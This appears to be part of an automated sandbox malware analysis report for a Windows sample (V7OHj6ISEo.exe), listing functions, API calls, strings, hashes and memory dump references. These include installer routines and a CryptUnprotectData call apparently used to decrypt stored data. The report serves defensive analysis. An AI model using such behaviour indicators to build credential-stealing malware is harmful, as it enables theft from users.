Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 5022a3386f5e18fea557ada7228944891eae1535778b184f4ff8fbe65a586e5e
Instruction ID: 68420d1476230b8dd7614a1fba92d854cc5c6abb2761645b74e375f7afb2e4e9
Opcode Fuzzy Hash: 5022a3386f5e18fea557ada7228944891eae1535778b184f4ff8fbe65a586e5e
Instruction Fuzzy Hash: 7041B2B1608385DFC315EF65D844A2677B8FB98B21F104D1EF8478B581EB72A484CBA2

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00403492,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,00403492,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 2659869361-2382934351
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00401B77 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00552428), ref: 00401BE7
GlobalAlloc.KERNEL32(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE
($U, xrefs: 00401B7A, 00401BAA, 00401BB9, 00401BE2, 00401C0D, 00401C14

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$AllocFree
String ID: ($U$Call
API String ID: 3394109436-1371141273
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,771B2EE0,00405B1A,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,771B2EE0,00405B1A,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,771B2EE0,00405B1A,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00000000,771B2EE0,00403A1A,771B3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 1100898210-2382934351
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\V7OHj6ISEo.exe,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\V7OHj6ISEo.exe,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3976562730
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 755610E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7556116A
GlobalFree.KERNEL32(00000000), ref: 755611C7
GlobalFree.KERNEL32(00000000), ref: 755611D9
GlobalFree.KERNEL32(?), ref: 75561203

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8b855cfd7631457e8e1d5f74489e83604042d2230d185be50ddcfe3a1bfc7dfc
Instruction ID: 3a191dc1e5cab909a4427a1f47da8420c837f0fb9f99976006676d620804c671
Opcode Fuzzy Hash: 8b855cfd7631457e8e1d5f74489e83604042d2230d185be50ddcfe3a1bfc7dfc
Instruction Fuzzy Hash: 023181B2914281DBD701DFBAC945A3677F8FB55F60B50061BF846DB254EB34E8418BE0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: V7OHj6ISEo.exePID: 4136, Parent PID: 4832COMMON

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.1%
Total number of Nodes:	285
Total number of Limit Nodes:	31

Executed Functions

Function 3824D608 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$z%8, xrefs: 3824D762
$z%8, xrefs: 3824DA20
$z%8, xrefs: 3824D76E
$z%8, xrefs: 3824DA14

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID: DispatchMessage
String ID: $z%8$$z%8$$z%8$$z%8
API String ID: 2061451462-2180975965
Opcode ID: a69df4e1b02011e25218c0a6012c375630dad3f9a6527c7e51d7784915eb388e
Instruction ID: a81bc6be238cb916ca0c5c5119b4edff027fb969e3d82f38616ddb32ed3beca6
Opcode Fuzzy Hash: a69df4e1b02011e25218c0a6012c375630dad3f9a6527c7e51d7784915eb388e
Instruction Fuzzy Hash: 8CF13974A00309CFEB08DFA9C944B9DBBF2BF88304F568559E405AF265DB74A946CF90

Function 00158DA0 Relevance: 6.1, Strings: 4, Instructions: 1138COMMON

Download Yara Rule

Strings

4'q, xrefs: 00159AD3
(oq, xrefs: 001594D8
4'q, xrefs: 00158ECC
4'q, xrefs: 00158DC4

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: (oq$4'q$4'q$4'q
API String ID: 0-2528434116
Opcode ID: 8a76438d3f74a19ad8d46d1b72f201caf5b34d92c04d65f26f4f13e6f747d6a5
Instruction ID: 87b8e75bc20ca37017f833feb1b4856e9db476d6c5a232109fe6278df5c78407
Opcode Fuzzy Hash: 8a76438d3f74a19ad8d46d1b72f201caf5b34d92c04d65f26f4f13e6f747d6a5
Instruction Fuzzy Hash: 17A27E70A04209CFCB15CF68C994AAEBBB2FF88301F158569E815DF261D734ED89CB61

Function 00155F90 Relevance: 4.2, Strings: 3, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 001561DA
(oq, xrefs: 001561E8
(oq, xrefs: 00156505

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq
API String ID: 0-3376450984
Opcode ID: b06c0874bbd20a63cbbff06f593e7ead13beb318cdc3dc85265650d3a9e7f6fb
Instruction ID: c70892db46e93a4dacda3d15894800558094473c4fc04aeb1538cfcf79d9fbf7
Opcode Fuzzy Hash: b06c0874bbd20a63cbbff06f593e7ead13beb318cdc3dc85265650d3a9e7f6fb
Instruction Fuzzy Hash: 03124030A00219DFCB14CF69C994AADBBF2BF98316F958069E8259F261D731DD85CB90

Function 3824E7C8 Relevance: 3.3, Strings: 2, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pHq, xrefs: 3824E860
Teq, xrefs: 3824F17D

Memory Dump Source

Source File: 00000007.00000002.2565914800.0000000038240000.00000040.00000800.00020000.00000000.sdmp, Offset: 38240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_38240000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: Teq$pHq
API String ID: 0-1765197316
Opcode ID: bf5804515b86efe2dac5d53fdd88e4d45f43c6fd0628f0b8c9e1540776d56eed
Instruction ID: 2b8152148fbcccf9f8f362f2c640b2cf4ab411bd432ea6e4b13d50c8e52e9282
Opcode Fuzzy Hash: bf5804515b86efe2dac5d53fdd88e4d45f43c6fd0628f0b8c9e1540776d56eed
Instruction Fuzzy Hash: 6582A474A01318CFDB29DF64C895B99B7B2FB89301F1085E9E9096B354CB35AE82CF54

Function 37D1BDF0 Relevance: 3.3, Strings: 2, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 37D1C796
pHq, xrefs: 37D1BE7D

Memory Dump Source

Source File: 00000007.00000002.2565620126.0000000037D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_37d10000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: Teq$pHq
API String ID: 0-1765197316
Opcode ID: 4f368f9f3203788b84e88e794d23f4850363e1f5d8d69109d7b397dc877d8082
Instruction ID: bcaa92e67f31f7e94e30b3a8a947820102af09a713f19babc6f37aa71181d6fa
Opcode Fuzzy Hash: 4f368f9f3203788b84e88e794d23f4850363e1f5d8d69109d7b397dc877d8082
Instruction Fuzzy Hash: 4C72B374A01318CFDB69DF64C955B99B7B2FB89300F1081E9E909AB354CB35AE82CF54

Function 00154328 Relevance: 2.7, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 00154590
PHq, xrefs: 001545A1

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 5bfd29559f71a7662b26dd514e1bf7fcb0e0c27916b6a6ded3957e9b4ee3238e
Instruction ID: e2e71ec02aa0f5e8f047b21eda40596f987ddf2d69176a60ee677c63a50e399b
Opcode Fuzzy Hash: 5bfd29559f71a7662b26dd514e1bf7fcb0e0c27916b6a6ded3957e9b4ee3238e
Instruction Fuzzy Hash: AE91C774D00218CFDB18DFA9D984A9DBBF2BF89305F148069E819AB365DB349985CF50

Function 00155968 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

(oq, xrefs: 00155EA2

Memory Dump Source

Source File: 00000007.00000002.2538278486.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_150000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-1999159160
Opcode ID: f468c35d47eeefc95467108e1d51a4c2b3053a74acd6911434268dccc7dc6b68
Instruction ID: b1719a1e043ee28d9e7f7a84f778e7c8ef7f82fea94e61807e41c5acefdab64a
Opcode Fuzzy Hash: f468c35d47eeefc95467108e1d51a4c2b3053a74acd6911434268dccc7dc6b68
Instruction Fuzzy Hash: 01128E71A00609CFDB14DFA9D854BAEBBB7FF88301F248129E8159B391DB349D85CB90

Function 350CD9D9 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(000000D0,?,00000000,?,?,?,?), ref: 350CDA45

Memory Dump Source

